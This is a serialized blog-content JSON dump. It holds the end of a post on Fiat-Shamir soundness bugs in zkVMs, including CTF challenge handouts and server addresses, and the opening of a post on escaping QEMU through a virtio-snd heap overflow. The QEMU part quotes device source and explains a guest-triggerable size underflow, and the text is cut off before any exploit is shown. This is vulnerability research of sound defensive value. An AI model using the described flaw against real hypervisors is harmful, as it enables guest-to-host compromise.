:139,"props":121378,"children":121380},{"className":121379},[2192],[121381],{"type":28,"value":121382},"≥",{"type":23,"tag":139,"props":121384,"children":121386},{"className":121385,"style":2187},[2089],[],{"type":23,"tag":139,"props":121388,"children":121390},{"className":121389},[1998],[121391,121395],{"type":23,"tag":139,"props":121392,"children":121394},{"className":121393,"style":91982},[2003],[],{"type":23,"tag":139,"props":121396,"children":121398},{"className":121397},[2009],[121399],{"type":28,"value":647},{"type":28,"value":121401},". Good luck!",{"type":23,"tag":666,"props":121403,"children":121405},{"id":121404},"jolt",[121406],{"type":28,"value":105764},{"type":23,"tag":24,"props":121408,"children":121409},{},[121410,121412,121423,121425],{"type":28,"value":121411},"See ",{"type":23,"tag":64,"props":121413,"children":121420},{"href":121414,"target":121415,"rel":121416,"download":121419},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[121417,121418],"noopener","noreferrer","handout_jolt.tar.gz",[121421],{"type":28,"value":121422},"the handout",{"type":28,"value":121424}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":135,"props":121426,"children":121428},{"className":121427},[],[121429],{"type":28,"value":121430},"jolt.chal.osec.io:8960",{"type":23,"tag":666,"props":121432,"children":121434},{"id":121433},"nexus-1",[121435],{"type":28,"value":105770},{"type":23,"tag":24,"props":121437,"children":121438},{},[121439,121440,121447,121448],{"type":28,"value":121411},{"type":23,"tag":64,"props":121441,"children":121445},{"href":121442,"target":121415,"rel":121443,"download":121444},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[121417,121418],"handout_nexus.tar.gz",[121446],{"type":28,"value":121422},{"type":28,"value":121424},{"type":23,"tag":135,"props":121449,"children":121451},{"className":121450},[],[121452],{"type":28,"value":121453},"nexus.chal.osec.io:8950",{"type":23,"tag":24,"props":121455,"children":121456},{},[121457],{"type":28,"value":121458},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":16800,"props":121460,"children":121461},{},[],{"type":23,"tag":41,"props":121463,"children":121465},{"id":121464},"takeaways",[121466],{"type":28,"value":121467},"Takeaways",{"type":23,"tag":24,"props":121469,"children":121470},{},[121471],{"type":28,"value":121472},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":24,"props":121474,"children":121475},{},[121476],{"type":28,"value":121477},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":24,"props":121479,"children":121480},{},[121481,121486],{"type":23,"tag":56,"props":121482,"children":121483},{},[121484],{"type":28,"value":121485},"For the ZK ecosystem:",{"type":28,"value":121487}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":24,"props":121489,"children":121490},{},[121491],{"type":28,"value":121492},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":24,"props":121494,"children":121495},{},[121496,121501],{"type":23,"tag":56,"props":121497,"children":121498},{},[121499],{"type":28,"value":121500},"For auditors:",{"type":28,"value":121502}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":24,"props":121504,"children":121505},{},[121506,121511],{"type":23,"tag":56,"props":121507,"children":121508},{},[121509],{"type":28,"value":121510},"For builders:",{"type":28,"value":121512}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":817,"props":121514,"children":121515},{},[121516],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":121518},[121519,121520,121523,121529,121530,121538,121544,121547,121548,121552],{"id":105815,"depth":151,"text":105818},{"id":105957,"depth":151,"text":105960,"children":121521},[121522],{"id":105963,"depth":160,"text":105966},{"id":106392,"depth":151,"text":106395,"children":121524},[121525,121526,121527,121528],{"id":106403,"depth":160,"text":106406},{"id":106591,"depth":160,"text":106594},{"id":109972,"depth":160,"text":109975},{"id":111186,"depth":160,"text":111189},{"id":112823,"depth":151,"text":112826},{"id":113329,"depth":151,"text":113332,"children":121531},[121532,121533,121534,121535,121536,121537],{"id":113351,"depth":160,"text":113354},{"id":114676,"depth":160,"text":105770},{"id":115812,"depth":160,"text":115815},{"id":116480,"depth":160,"text":116483},{"id":119136,"depth":160,"text":119139},{"id":119690,"depth":160,"text":105794},{"id":120619,"depth":151,"text":120622,"children":121539},[121540,121541,121542,121543],{"id":120630,"depth":160,"text":120633},{"id":120800,"depth":160,"text":120803},{"id":120824,"depth":160,"text":120827},{"id":120840,"depth":160,"text":120843},{"id":120854,"depth":151,"text":120857,"children":121545},[121546],{"id":120860,"depth":160,"text":120863},{"id":120894,"depth":151,"text":120897},{"id":121071,"depth":151,"text":105807,"children":121549},[121550,121551],{"id":121404,"depth":160,"text":105764},{"id":121433,"depth":160,"text":105770},{"id":121464,"depth":151,"text":121467},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":121557,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":121558,"description":121559,"date":121560,"author":121561,"image":121562,"isFeatured":15,"onBlogPage":15,"tags":121564,"body":121567,"_type":831,"_id":129853,"_source":833,"_file":129854,"_stem":129855,"_extension":836},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":121563,"width":95172,"height":13},"/posts/virtio-snd-qemu-0day/title.png",[121565,121566],"qemu","heap-overflow",{"type":20,"children":121568,"toc":129835},[121569,121574,121579,121584,121590,121595,121600,121608,121614,121626,121630,121635,121643,121648,121654,121659,121672,122282,122317,122362,122396,122431,122566,122614,122620,122625,123381,123426,123462,123497,123562,123582,124032,124079,124082,124087,124152,124178,124200,124204,124209,124214,124220,124225,124230,124235,124241,124254,124260,124265,124273,124343,124348,124354,124367,124593,124656,124675,125058,125063,125096,125101,125377,125389,125407,125686,125698,125701,125736,125741,125747,125759,125771,125776,125781,125791,125826,126443,126475,126486,126522,126535,126541,126553,126561,126587,126592,126625,126666,126672,126691,126729,126737,126786,126791,126840,126845,126853,126940,126946,126985,126997,127005,127023,127042,127050,127062,127070,127089,127097,127108,127116,127127,127135,127148,127156,127162,127167,127180,127188,127206,127214,127226,127231,127239,127275,127308,127315,127349,127357,127362,127368,127380,127391,127670,127730,127798,127806,127840,128444,128455,128463,128469,128474,128485,129239,129272,129284,129370,129390,129599,129646,129658,129664,129683,129709,129737,129753,129780,129783,129803,129817,129821,129826,129831],{"type":23,"tag":24,"props":121570,"children":121571},{},[121572],{"type":28,"value":121573},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":41,"props":121575,"children":121576},{"id":121565},[121577],{"type":28,"value":121578},"QEMU",{"type":23,"tag":24,"props":121580,"children":121581},{},[121582],{"type":28,"value":121583},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":666,"props":121585,"children":121587},{"id":121586},"virtio-devices",[121588],{"type":28,"value":121589},"Virtio Devices",{"type":23,"tag":24,"props":121591,"children":121592},{},[121593],{"type":28,"value":121594},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":24,"props":121596,"children":121597},{},[121598],{"type":28,"value":121599},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":24,"props":121601,"children":121602},{},[121603],{"type":23,"tag":429,"props":121604,"children":121607},{"alt":121605,"src":121606},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":41,"props":121609,"children":121611},{"id":121610},"finding-a-bug",[121612],{"type":28,"value":121613},"Finding a Bug",{"type":23,"tag":24,"props":121615,"children":121616},{},[121617,121619,121625],{"type":28,"value":121618},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":135,"props":121620,"children":121622},{"className":121621},[],[121623],{"type":28,"value":121624},"virtio-snd",{"type":28,"value":73},{"type":23,"tag":666,"props":121627,"children":121628},{"id":121624},[121629],{"type":28,"value":121624},{"type":23,"tag":24,"props":121631,"children":121632},{},[121633],{"type":28,"value":121634},"From the official documentation:",{"type":23,"tag":90,"props":121636,"children":121637},{},[121638],{"type":23,"tag":24,"props":121639,"children":121640},{},[121641],{"type":28,"value":121642},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":24,"props":121644,"children":121645},{},[121646],{"type":28,"value":121647},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":16900,"props":121649,"children":121651},{"id":121650},"audio-data-buffers",[121652],{"type":28,"value":121653},"Audio Data Buffers",{"type":23,"tag":24,"props":121655,"children":121656},{},[121657],{"type":28,"value":121658},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":24,"props":121660,"children":121661},{},[121662,121664,121670],{"type":28,"value":121663},"For example, the following is ",{"type":23,"tag":135,"props":121665,"children":121667},{"className":121666},[],[121668],{"type":28,"value":121669},"virtio_snd_handle_rx_xfer",{"type":28,"value":121671},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":128,"props":121673,"children":121675},{"code":121674,"language":1123,"meta":7,"className":14526,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[121676],{"type":23,"tag":135,"props":121677,"children":121678},{"__ignoreMap":7},[121679,121686,121694,121702,121709,121717,121725,121733,121781,121788,121805,121812,121819,121831,121848,121855,121891,121911,121922,121929,121936,121944,121951,121984,122043,122061,122100,122125,122149,122177,122204,122242,122249,122261,122268,122275],{"type":23,"tag":139,"props":121680,"children":121681},{"class":141,"line":142},[121682],{"type":23,"tag":139,"props":121683,"children":121684},{"style":958},[121685],{"type":28,"value":47263},{"type":23,"tag":139,"props":121687,"children":121688},{"class":141,"line":151},[121689],{"type":23,"tag":139,"props":121690,"children":121691},{"style":958},[121692],{"type":28,"value":121693}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":139,"props":121695,"children":121696},{"class":141,"line":160},[121697],{"type":23,"tag":139,"props":121698,"children":121699},{"style":958},[121700],{"type":28,"value":121701}," * respective streams for consumption.\n",{"type":23,"tag":139,"props":121703,"children":121704},{"class":141,"line":169},[121705],{"type":23,"tag":139,"props":121706,"children":121707},{"style":958},[121708],{"type":28,"value":17495},{"type":23,"tag":139,"props":121710,"children":121711},{"class":141,"line":178},[121712],{"type":23,"tag":139,"props":121713,"children":121714},{"style":958},[121715],{"type":28,"value":121716}," * @vdev: VirtIOSound device\n",{"type":23,"tag":139,"props":121718,"children":121719},{"class":141,"line":187},[121720],{"type":23,"tag":139,"props":121721,"children":121722},{"style":958},[121723],{"type":28,"value":121724}," * @vq: rx virtqueue\n",{"type":23,"tag":139,"props":121726,"children":121727},{"class":141,"line":196},[121728],{"type":23,"tag":139,"props":121729,"children":121730},{"style":958},[121731],{"type":28,"value":121732}," */\n",{"type":23,"tag":139,"props":121734,"children":121735},{"class":141,"line":205},[121736,121740,121744,121749,121754,121758,121763,121768,121772,121777],{"type":23,"tag":139,"props":121737,"children":121738},{"style":279},[121739],{"type":28,"value":48942},{"type":23,"tag":139,"props":121741,"children":121742},{"style":279},[121743],{"type":28,"value":48947},{"type":23,"tag":139,"props":121745,"children":121746},{"style":245},[121747],{"type":28,"value":121748}," virtio_snd_handle_rx_xfer",{"type":23,"tag":139,"props":121750,"children":121751},{"style":259},[121752],{"type":28,"value":121753},"(VirtIODevice ",{"type":23,"tag":139,"props":121755,"children":121756},{"style":982},[121757],{"type":28,"value":2573},{"type":23,"tag":139,"props":121759,"children":121760},{"style":294},[121761],{"type":28,"value":121762},"vdev",{"type":23,"tag":139,"props":121764,"children":121765},{"style":259},[121766],{"type":28,"value":121767},", VirtQueue ",{"type":23,"tag":139,"props":121769,"children":121770},{"style":982},[121771],{"type":28,"value":2573},{"type":23,"tag":139,"props":121773,"children":121774},{"style":294},[121775],{"type":28,"value":121776},"vq",{"type":23,"tag":139,"props":121778,"children":121779},{"style":259},[121780],{"type":28,"value":273},{"type":23,"tag":139,"props":121782,"children":121783},{"class":141,"line":214},[121784],{"type":23,"tag":139,"props":121785,"children":121786},{"style":259},[121787],{"type":28,"value":8890},{"type":23,"tag":139,"props":121789,"children":121790},{"class":141,"line":1320},[121791,121796,121800],{"type":23,"tag":139,"props":121792,"children":121793},{"style":259},[121794],{"type":28,"value":121795},"    VirtQueueElement ",{"type":23,"tag":139,"props":121797,"children":121798},{"style":982},[121799],{"type":28,"value":2573},{"type":23,"tag":139,"props":121801,"children":121802},{"style":259},[121803],{"type":28,"value":121804},"elem;\n",{"type":23,"tag":139,"props":121806,"children":121807},{"class":141,"line":1329},[121808],{"type":23,"tag":139,"props":121809,"children":121810},{"style":259},[121811],{"type":28,"value":102705},{"type":23,"tag":139,"props":121813,"children":121814},{"class":141,"line":1580},[121815],{"type":23,"tag":139,"props":121816,"children":121817},{"emptyLinePlaceholder":15},[121818],{"type":28,"value":184},{"type":23,"tag":139,"props":121820,"children":121821},{"class":141,"line":1597},[121822,121826],{"type":23,"tag":139,"props":121823,"children":121824},{"style":319},[121825],{"type":28,"value":1003},{"type":23,"tag":139,"props":121827,"children":121828},{"style":259},[121829],{"type":28,"value":121830}," (;;) {\n",{"type":23,"tag":139,"props":121832,"children":121833},{"class":141,"line":1614},[121834,121839,121843],{"type":23,"tag":139,"props":121835,"children":121836},{"style":259},[121837],{"type":28,"value":121838},"        VirtIOSoundPCMStream ",{"type":23,"tag":139,"props":121840,"children":121841},{"style":982},[121842],{"type":28,"value":2573},{"type":23,"tag":139,"props":121844,"children":121845},{"style":259},[121846],{"type":28,"value":121847},"stream;\n",{"type":23,"tag":139,"props":121849,"children":121850},{"class":141,"line":1627},[121851],{"type":23,"tag":139,"props":121852,"children":121853},{"emptyLinePlaceholder":15},[121854],{"type":28,"value":184},{"type":23,"tag":139,"props":121856,"children":121857},{"class":141,"line":1636},[121858,121863,121867,121872,121877,121881,121886],{"type":23,"tag":139,"props":121859,"children":121860},{"style":259},[121861],{"type":28,"value":121862},"        elem ",{"type":23,"tag":139,"props":121864,"children":121865},{"style":982},[121866],{"type":28,"value":1067},{"type":23,"tag":139,"props":121868,"children":121869},{"style":245},[121870],{"type":28,"value":121871}," virtqueue_pop",{"type":23,"tag":139,"props":121873,"children":121874},{"style":259},[121875],{"type":28,"value":121876},"(vq, ",{"type":23,"tag":139,"props":121878,"children":121879},{"style":279},[121880],{"type":28,"value":53226},{"type":23,"tag":139,"props":121882,"children":121883},{"style":259},[121884],{"type":28,"value":121885},"(VirtQueueElement));",{"type":23,"tag":139,"props":121887,"children":121888},{"style":958},[121889],{"type":28,"value":121890},"     // [1]\n",{"type":23,"tag":139,"props":121892,"children":121893},{"class":141,"line":1659},[121894,121898,121902,121906],{"type":23,"tag":139,"props":121895,"children":121896},{"style":319},[121897],{"type":28,"value":1249},{"type":23,"tag":139,"props":121899,"children":121900},{"style":259},[121901],{"type":28,"value":1042},{"type":23,"tag":139,"props":121903,"children":121904},{"style":982},[121905],{"type":28,"value":18629},{"type":23,"tag":139,"props":121907,"children":121908},{"style":259},[121909],{"type":28,"value":121910},"elem) {\n",{"type":23,"tag":139,"props":121912,"children":121913},{"class":141,"line":1667},[121914,121918],{"type":23,"tag":139,"props":121915,"children":121916},{"style":319},[121917],{"type":28,"value":1276},{"type":23,"tag":139,"props":121919,"children":121920},{"style":259},[121921],{"type":28,"value":995},{"type":23,"tag":139,"props":121923,"children":121924},{"class":141,"line":1676},[121925],{"type":23,"tag":139,"props":121926,"children":121927},{"style":259},[121928],{"type":28,"value":1326},{"type":23,"tag":139,"props":121930,"children":121931},{"class":141,"line":1745},[121932],{"type":23,"tag":139,"props":121933,"children":121934},{"emptyLinePlaceholder":15},[121935],{"type":28,"value":184},{"type":23,"tag":139,"props":121937,"children":121938},{"class":141,"line":1753},[121939],{"type":23,"tag":139,"props":121940,"children":121941},{"style":259},[121942],{"type":28,"value":121943},"        [...]\n",{"type":23,"tag":139,"props":121945,"children":121946},{"class":141,"line":1783},[121947],{"type":23,"tag":139,"props":121948,"children":121949},{"emptyLinePlaceholder":15},[121950],{"type":28,"value":184},{"type":23,"tag":139,"props":121952,"children":121953},{"class":141,"line":1791},[121954,121959,121963,121967,121971,121975,121980],{"type":23,"tag":139,"props":121955,"children":121956},{"style":245},[121957],{"type":28,"value":121958},"        WITH_QEMU_LOCK_GUARD",{"type":23,"tag":139,"props":121960,"children":121961},{"style":259},[121962],{"type":28,"value":262},{"type":23,"tag":139,"props":121964,"children":121965},{"style":982},[121966],{"type":28,"value":1085},{"type":23,"tag":139,"props":121968,"children":121969},{"style":294},[121970],{"type":28,"value":34151},{"type":23,"tag":139,"props":121972,"children":121973},{"style":259},[121974],{"type":28,"value":11768},{"type":23,"tag":139,"props":121976,"children":121977},{"style":294},[121978],{"type":28,"value":121979},"queue_mutex",{"type":23,"tag":139,"props":121981,"children":121982},{"style":259},[121983],{"type":28,"value":12815},{"type":23,"tag":139,"props":121985,"children":121986},{"class":141,"line":1823},[121987,121992,121996,122001,122005,122009,122013,122018,122022,122026,122030,122035,122039],{"type":23,"tag":139,"props":121988,"children":121989},{"style":259},[121990],{"type":28,"value":121991},"            size ",{"type":23,"tag":139,"props":121993,"children":121994},{"style":982},[121995],{"type":28,"value":1067},{"type":23,"tag":139,"props":121997,"children":121998},{"style":245},[121999],{"type":28,"value":122000}," iov_size",{"type":23,"tag":139,"props":122002,"children":122003},{"style":259},[122004],{"type":28,"value":262},{"type":23,"tag":139,"props":122006,"children":122007},{"style":294},[122008],{"type":28,"value":49962},{"type":23,"tag":139,"props":122010,"children":122011},{"style":259},[122012],{"type":28,"value":11768},{"type":23,"tag":139,"props":122014,"children":122015},{"style":294},[122016],{"type":28,"value":122017},"in_sg",{"type":23,"tag":139,"props":122019,"children":122020},{"style":259},[122021],{"type":28,"value":1052},{"type":23,"tag":139,"props":122023,"children":122024},{"style":294},[122025],{"type":28,"value":49962},{"type":23,"tag":139,"props":122027,"children":122028},{"style":259},[122029],{"type":28,"value":11768},{"type":23,"tag":139,"props":122031,"children":122032},{"style":294},[122033],{"type":28,"value":122034},"in_num",{"type":23,"tag":139,"props":122036,"children":122037},{"style":259},[122038],{"type":28,"value":1062},{"type":23,"tag":139,"props":122040,"children":122041},{"style":982},[122042],{"type":28,"value":48759},{"type":23,"tag":139,"props":122044,"children":122045},{"class":141,"line":1831},[122046,122051,122056],{"type":23,"tag":139,"props":122047,"children":122048},{"style":279},[122049],{"type":28,"value":122050},"                sizeof",{"type":23,"tag":139,"props":122052,"children":122053},{"style":259},[122054],{"type":28,"value":122055},"(virtio_snd_pcm_status);",{"type":23,"tag":139,"props":122057,"children":122058},{"style":958},[122059],{"type":28,"value":122060},"                  // [2]\n",{"type":23,"tag":139,"props":122062,"children":122063},{"class":141,"line":1891},[122064,122069,122073,122078,122082,122086,122091,122095],{"type":23,"tag":139,"props":122065,"children":122066},{"style":259},[122067],{"type":28,"value":122068},"            buffer ",{"type":23,"tag":139,"props":122070,"children":122071},{"style":982},[122072],{"type":28,"value":1067},{"type":23,"tag":139,"props":122074,"children":122075},{"style":245},[122076],{"type":28,"value":122077}," g_malloc0",{"type":23,"tag":139,"props":122079,"children":122080},{"style":259},[122081],{"type":28,"value":262},{"type":23,"tag":139,"props":122083,"children":122084},{"style":279},[122085],{"type":28,"value":53226},{"type":23,"tag":139,"props":122087,"children":122088},{"style":259},[122089],{"type":28,"value":122090},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":139,"props":122092,"children":122093},{"style":982},[122094],{"type":28,"value":2382},{"type":23,"tag":139,"props":122096,"children":122097},{"style":259},[122098],{"type":28,"value":122099}," size);\n",{"type":23,"tag":139,"props":122101,"children":122102},{"class":141,"line":7053},[122103,122108,122112,122116,122120],{"type":23,"tag":139,"props":122104,"children":122105},{"style":294},[122106],{"type":28,"value":122107},"            buffer",{"type":23,"tag":139,"props":122109,"children":122110},{"style":259},[122111],{"type":28,"value":11768},{"type":23,"tag":139,"props":122113,"children":122114},{"style":294},[122115],{"type":28,"value":49962},{"type":23,"tag":139,"props":122117,"children":122118},{"style":982},[122119],{"type":28,"value":985},{"type":23,"tag":139,"props":122121,"children":122122},{"style":259},[122123],{"type":28,"value":122124}," elem;\n",{"type":23,"tag":139,"props":122126,"children":122127},{"class":141,"line":7071},[122128,122132,122136,122140,122144],{"type":23,"tag":139,"props":122129,"children":122130},{"style":294},[122131],{"type":28,"value":122107},{"type":23,"tag":139,"props":122133,"children":122134},{"style":259},[122135],{"type":28,"value":11768},{"type":23,"tag":139,"props":122137,"children":122138},{"style":294},[122139],{"type":28,"value":121776},{"type":23,"tag":139,"props":122141,"children":122142},{"style":982},[122143],{"type":28,"value":985},{"type":23,"tag":139,"props":122145,"children":122146},{"style":259},[122147],{"type":28,"value":122148}," vq;\n",{"type":23,"tag":139,"props":122150,"children":122151},{"class":141,"line":7116},[122152,122156,122160,122165,122169,122173],{"type":23,"tag":139,"props":122153,"children":122154},{"style":294},[122155],{"type":28,"value":122107},{"type":23,"tag":139,"props":122157,"children":122158},{"style":259},[122159],{"type":28,"value":11768},{"type":23,"tag":139,"props":122161,"children":122162},{"style":294},[122163],{"type":28,"value":122164},"size",{"type":23,"tag":139,"props":122166,"children":122167},{"style":982},[122168],{"type":28,"value":985},{"type":23,"tag":139,"props":122170,"children":122171},{"style":1016},[122172],{"type":28,"value":1019},{"type":23,"tag":139,"props":122174,"children":122175},{"style":259},[122176],{"type":28,"value":995},{"type":23,"tag":139,"props":122178,"children":122179},{"class":141,"line":7222},[122180,122184,122188,122192,122196,122200],{"type":23,"tag":139,"props":122181,"children":122182},{"style":294},[122183],{"type":28,"value":122107},{"type":23,"tag":139,"props":122185,"children":122186},{"style":259},[122187],{"type":28,"value":11768},{"type":23,"tag":139,"props":122189,"children":122190},{"style":294},[122191],{"type":28,"value":11912},{"type":23,"tag":139,"props":122193,"children":122194},{"style":982},[122195],{"type":28,"value":985},{"type":23,"tag":139,"props":122197,"children":122198},{"style":1016},[122199],{"type":28,"value":1019},{"type":23,"tag":139,"props":122201,"children":122202},{"style":259},[122203],{"type":28,"value":995},{"type":23,"tag":139,"props":122205,"children":122206},{"class":141,"line":21518},[122207,122212,122216,122220,122224,122228,122233,122238],{"type":23,"tag":139,"props":122208,"children":122209},{"style":245},[122210],{"type":28,"value":122211},"            QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":139,"props":122213,"children":122214},{"style":259},[122215],{"type":28,"value":262},{"type":23,"tag":139,"props":122217,"children":122218},{"style":982},[122219],{"type":28,"value":1085},{"type":23,"tag":139,"props":122221,"children":122222},{"style":294},[122223],{"type":28,"value":34151},{"type":23,"tag":139,"props":122225,"children":122226},{"style":259},[122227],{"type":28,"value":11768},{"type":23,"tag":139,"props":122229,"children":122230},{"style":294},[122231],{"type":28,"value":122232},"queue",{"type":23,"tag":139,"props":122234,"children":122235},{"style":259},[122236],{"type":28,"value":122237},", buffer, entry);",{"type":23,"tag":139,"props":122239,"children":122240},{"style":958},[122241],{"type":28,"value":50527},{"type":23,"tag":139,"props":122243,"children":122244},{"class":141,"line":21553},[122245],{"type":23,"tag":139,"props":122246,"children":122247},{"style":259},[122248],{"type":28,"value":1326},{"type":23,"tag":139,"props":122250,"children":122251},{"class":141,"line":21561},[122252,122257],{"type":23,"tag":139,"props":122253,"children":122254},{"style":319},[122255],{"type":28,"value":122256},"        continue",{"type":23,"tag":139,"props":122258,"children":122259},{"style":259},[122260],{"type":28,"value":995},{"type":23,"tag":139,"props":122262,"children":122263},{"class":141,"line":21569},[122264],{"type":23,"tag":139,"props":122265,"children":122266},{"emptyLinePlaceholder":15},[122267],{"type":28,"value":184},{"type":23,"tag":139,"props":122269,"children":122270},{"class":141,"line":21578},[122271],{"type":23,"tag":139,"props":122272,"children":122273},{"style":259},[122274],{"type":28,"value":121943},{"type":23,"tag":139,"props":122276,"children":122277},{"class":141,"line":21620},[122278],{"type":23,"tag":139,"props":122279,"children":122280},{"style":259},[122281],{"type":28,"value":1897},{"type":23,"tag":24,"props":122283,"children":122284},{},[122285,122287,122293,122295,122301,122303,122308,122309,122315],{"type":28,"value":122286},"At ",{"type":23,"tag":135,"props":122288,"children":122290},{"className":122289},[],[122291],{"type":28,"value":122292},"[1]",{"type":28,"value":122294},", a ",{"type":23,"tag":135,"props":122296,"children":122298},{"className":122297},[],[122299],{"type":28,"value":122300},"VirtQueueElement *elem",{"type":28,"value":122302}," is popped from the virtqueue. It contains the ",{"type":23,"tag":135,"props":122304,"children":122306},{"className":122305},[],[122307],{"type":28,"value":122017},{"type":28,"value":9002},{"type":23,"tag":135,"props":122310,"children":122312},{"className":122311},[],[122313],{"type":28,"value":122314},"out_sg",{"type":28,"value":122316}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":24,"props":122318,"children":122319},{},[122320,122322,122328,122330,122336,122338,122344,122346,122352,122354,122360],{"type":28,"value":122321},"Further at ",{"type":23,"tag":135,"props":122323,"children":122325},{"className":122324},[],[122326],{"type":28,"value":122327},"[2]",{"type":28,"value":122329},", the device computes the size of the data buffer as ",{"type":23,"tag":135,"props":122331,"children":122333},{"className":122332},[],[122334],{"type":28,"value":122335},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":122337},". That value is then used in the allocation: ",{"type":23,"tag":135,"props":122339,"children":122341},{"className":122340},[],[122342],{"type":28,"value":122343},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":122345},". Finally, at ",{"type":23,"tag":135,"props":122347,"children":122349},{"className":122348},[],[122350],{"type":28,"value":122351},"[3]",{"type":28,"value":122353},", the newly allocated buffer is appended to the ",{"type":23,"tag":135,"props":122355,"children":122357},{"className":122356},[],[122358],{"type":28,"value":122359},"stream->queue",{"type":28,"value":122361}," linked list.",{"type":23,"tag":24,"props":122363,"children":122364},{},[122365,122367,122372,122374,122379,122381,122386,122388,122394],{"type":28,"value":122366},"Because both the ",{"type":23,"tag":135,"props":122368,"children":122370},{"className":122369},[],[122371],{"type":28,"value":122017},{"type":28,"value":122373}," iovec and the ",{"type":23,"tag":135,"props":122375,"children":122377},{"className":122376},[],[122378],{"type":28,"value":122034},{"type":28,"value":122380}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":135,"props":122382,"children":122384},{"className":122383},[],[122385],{"type":28,"value":122017},{"type":28,"value":122387}," size is at least ",{"type":23,"tag":135,"props":122389,"children":122391},{"className":122390},[],[122392],{"type":28,"value":122393},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":122395},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":24,"props":122397,"children":122398},{},[122399,122401,122406,122408,122414,122416,122422,122424,122430],{"type":28,"value":122400},"From the guest driver, we can provide an empty ",{"type":23,"tag":135,"props":122402,"children":122404},{"className":122403},[],[122405],{"type":28,"value":122017},{"type":28,"value":122407}," iovec. In that case, the calculation becomes ",{"type":23,"tag":135,"props":122409,"children":122411},{"className":122410},[],[122412],{"type":28,"value":122413},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":122415},", so the allocation size effectively becomes ",{"type":23,"tag":135,"props":122417,"children":122419},{"className":122418},[],[122420],{"type":28,"value":122421},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":122423},". Given the definition of ",{"type":23,"tag":135,"props":122425,"children":122427},{"className":122426},[],[122428],{"type":28,"value":122429},"VirtIOSoundPCMBuffer",{"type":28,"value":2493},{"type":23,"tag":128,"props":122432,"children":122434},{"code":122433,"language":1123,"meta":7,"className":14526,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    